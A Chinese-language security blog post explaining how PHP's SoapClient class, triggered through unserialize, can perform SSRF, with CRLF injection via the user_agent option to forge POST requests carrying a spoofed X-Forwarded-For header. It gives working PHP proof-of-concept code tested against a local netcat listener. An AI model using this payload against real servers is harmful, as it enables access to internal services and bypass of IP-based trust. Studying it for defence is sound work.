SoapClient+CRLF进行SSRF

服务器开了soap服务,允许soap数据的交互,并且有可控的点调用了反序列化,此时可以强行反序列化去调用soapclient类进行SSRF

前言

  • phpinfo中soap是开启的,作用是用来创建soap数据报文,与wsdl接口进行交互,仅限于http/https协议。

  • 再无pop链的情况下,php的内置类SoapClient可以触发url请求并配合CRLF进行内网访问。

SOAP基础知识

什么是SOAP?这就要从WebService说起了。WebService是一种跨平台,跨语言的规范,用于不同平台,不同语言开发的应用之间的交互。比如在Windows Server服务器上有个C#.Net开发的应用A,在Linux上有个Java语言开发的应用B,B应用要调用A应用,或者是互相调用。用于查看对方的业务数据。这个时候,如何解决呢?WebService就是出于以上类似需求而定义出来的规范:开发人员一般就是在具体平台开发webservice接口,以及调用webservice接口。每种开发语言都有自己的webservice实现框架。而SOAP作为webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP 可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。

简单而言,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式
SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。

详解:

1
https://www.cnblogs.com/kvienchen/p/8310798.html

SoapClient

关于SoapClient类:

1
http://php.net/manual/zh/soapclient.soapclient.php

image

这个类传入的第一个参数为 $wsdl,控制是否是WSDL模式,如果为NULL,则为非WSDL模式。如果是非WSDL模式,反序列化的时候就会对options中的url进行远程soap请求,如果是WSDL模式,在序列化之前就会对$url参数进行请求,从而无法可控序列化数据。

如果在非WSDL模式下工作,则必须设置location和uri选项,其中location是要向其发送请求的SOAP服务器的URL,uri是SOAP服务的目标命名空间。

测试

使用SoapClient创建一个请求:

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('uri'=>'http://www.baidu.com', 'location'=>'http://127.0.0.1:4444/aaa'));
$b = serialize($a);
$c = unserialize($b);
$c->adfa(); //调用一下这个类,函数随意
?>

运行上面php代码并本地监听4444端口。

image

可见在反序列化后SoapClient类成功对目标网址发送了url请求。但是如果发送post请求进行SSRF的话,Content-type应为application/x‐www‐form‐urlencoded,查看关于SoapClient的文档,发现可以自定义User-Agent,做个简单测试:

1
2
3
4
5
6
7
8
<?php
$a = new SoapClient(null,array('uri'=>'http://www.baidu.com',
'location'=>'http://127.0.0.1:4444/aaa',
'user_agent'=>'test_test_test'));
$b = serialize($a);
$c = unserialize($b);
$c->adfa();
?>

监听端口:

1
nc -lvnp 4444

CRLF

上面测试可得知,user-agent是可控的,http请求报文中使用\x0d\x0a,也就是回车换行符。因此可以控制请求类型,将soap请求变成自己想要的http报文格式,此种攻击也称为CRLF。

构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$target = 'http://127.0.0.1:4444';
$post_string = 's=test';

$headers = array(
'X-Forwarded-For: 127.0.0.1',
);

$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
// echo bin2hex($aaa);
$res = unserialize($aaa);
$res->aaa();
?>

监听:

image

Author: Sys71m
Link: https://www.sys71m.top/2018/10/20/SoapClient-CRLF进行SSRF/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.